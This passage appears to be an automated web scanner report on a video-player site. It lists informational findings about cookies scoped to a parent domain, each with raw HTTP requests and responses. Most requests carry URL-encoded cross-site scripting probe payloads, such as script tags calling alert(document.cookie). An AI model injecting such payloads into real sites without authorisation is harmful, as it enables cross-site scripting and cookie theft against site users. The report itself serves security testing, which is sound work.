bpl1297018371=1297014771; expires=Sun, 06-Feb-2011 18:52:51 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:52:51 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:52:51 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:52:51 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=370468&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&jr=1&jr=2 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=370468&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&jr=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; bpl1297012595=1297008995; bpl1297012601=1297009001; bpl1297012610=1297009010; bpl1297012620=1297009020; bpl1297012626=1297009026; bpl1297012636=1297009036; bpl1297012651=1297009051; bpl1297012667=1297009067; bpl1297016038=1297012438; bpl1297016059=1297012459; bpl1297016091=1297012491; bpl1297016107=1297012507; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:52:51 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 17:52:51 GMT
Last-Modified: Sun, 06 Feb 2011 17:52:51 GMT
Set-Cookie: bpl1297018371=1297014771; expires=Sun, 06-Feb-2011 18:52:51 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 18:52:51 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 18:52:51 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:52:51 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11493

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 17:52:51 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.178. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012548=1297008948; expires=Sun, 06-Feb-2011 17:15:48 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:15:48 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:15:48 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:15:48 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1&jr=2&jr=3&jr=4 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1&jr=2&jr=3
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:48 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:15:48 GMT
Last-Modified: Sun, 06 Feb 2011 16:15:48 GMT
Set-Cookie: bpl1297012548=1297008948; expires=Sun, 06-Feb-2011 17:15:48 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:15:48 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:15:48 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:15:48 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11426

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:15:48 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.179. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1296952367=1296948767; expires=Sun, 06-Feb-2011 00:32:47 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 00:32:47 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 00:32:47 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:32:47 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sat, 05 Feb 2011 23:32:47 GMT
Last-Modified: Sat, 05 Feb 2011 23:32:47 GMT
Set-Cookie: bpl1296952367=1296948767; expires=Sun, 06-Feb-2011 00:32:47 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 00:32:47 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 00:32:47 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731; expires=Mon, 07-Feb-2011 23:32:47 GMT; path=/; domain=.au2m8.com
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 12665

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sat, 05 Feb 2011 23:32:47 GMT">
    <title>Facebook Tutorial </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.180. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297014663=1297011063; expires=Sun, 06-Feb-2011 17:51:03 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:51:03 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:51:03 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:51:03 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:51:03 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:51:03 GMT
Last-Modified: Sun, 06 Feb 2011 16:51:03 GMT
Set-Cookie: bpl1297014663=1297011063; expires=Sun, 06-Feb-2011 17:51:03 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:51:03 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:51:03 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:51:03 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11281

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:51:03 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.181. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012549=1297008949; expires=Sun, 06-Feb-2011 17:15:49 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:15:49 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:15:49 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:15:49 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:49 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:15:49 GMT
Last-Modified: Sun, 06 Feb 2011 16:15:49 GMT
Set-Cookie: bpl1297012549=1297008949; expires=Sun, 06-Feb-2011 17:15:49 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:15:49 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:15:49 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:15:49 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11423

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:15:49 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.182. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012533=1297008933; expires=Sun, 06-Feb-2011 17:15:33 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:15:33 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:15:33 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:15:33 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1&jr=2&jr=3 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1&jr=2
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:15:33 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:15:33 GMT
Last-Modified: Sun, 06 Feb 2011 16:15:33 GMT
Set-Cookie: bpl1297012533=1297008933; expires=Sun, 06-Feb-2011 17:15:33 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:15:33 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:15:33 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:15:33 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11411

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:15:33 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.183. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297013943=1297010343; expires=Sun, 06-Feb-2011 17:39:03 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:39:03 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:39:03 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:39:03 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/50811909125880119639927.htm?vs=1&r=www.kledy.us%2F&s=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&t=292565
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:39:03 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:39:03 GMT
Last-Modified: Sun, 06 Feb 2011 16:39:03 GMT
Set-Cookie: bpl1297013943=1297010343; expires=Sun, 06-Feb-2011 17:39:03 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:39:03 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:39:03 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:39:03 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11320

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:39:03 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.184. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012579=1297008979; expires=Sun, 06-Feb-2011 17:16:19 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:16:19 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:16:19 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:19 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1&jr=2&jr=3&jr=4&jr=5&jr=6 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1&jr=2&jr=3&jr=4&jr=5
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:19 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:16:19 GMT
Last-Modified: Sun, 06 Feb 2011 16:16:19 GMT
Set-Cookie: bpl1297012579=1297008979; expires=Sun, 06-Feb-2011 17:16:19 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:16:19 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:16:19 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:19 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11452

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:16:19 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.185. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297002349=1296998749; expires=Sun, 06-Feb-2011 14:25:49 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 14:25:49 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 14:25:49 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 13:25:49 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4&jr=5&jr=6 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4&jr=5
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
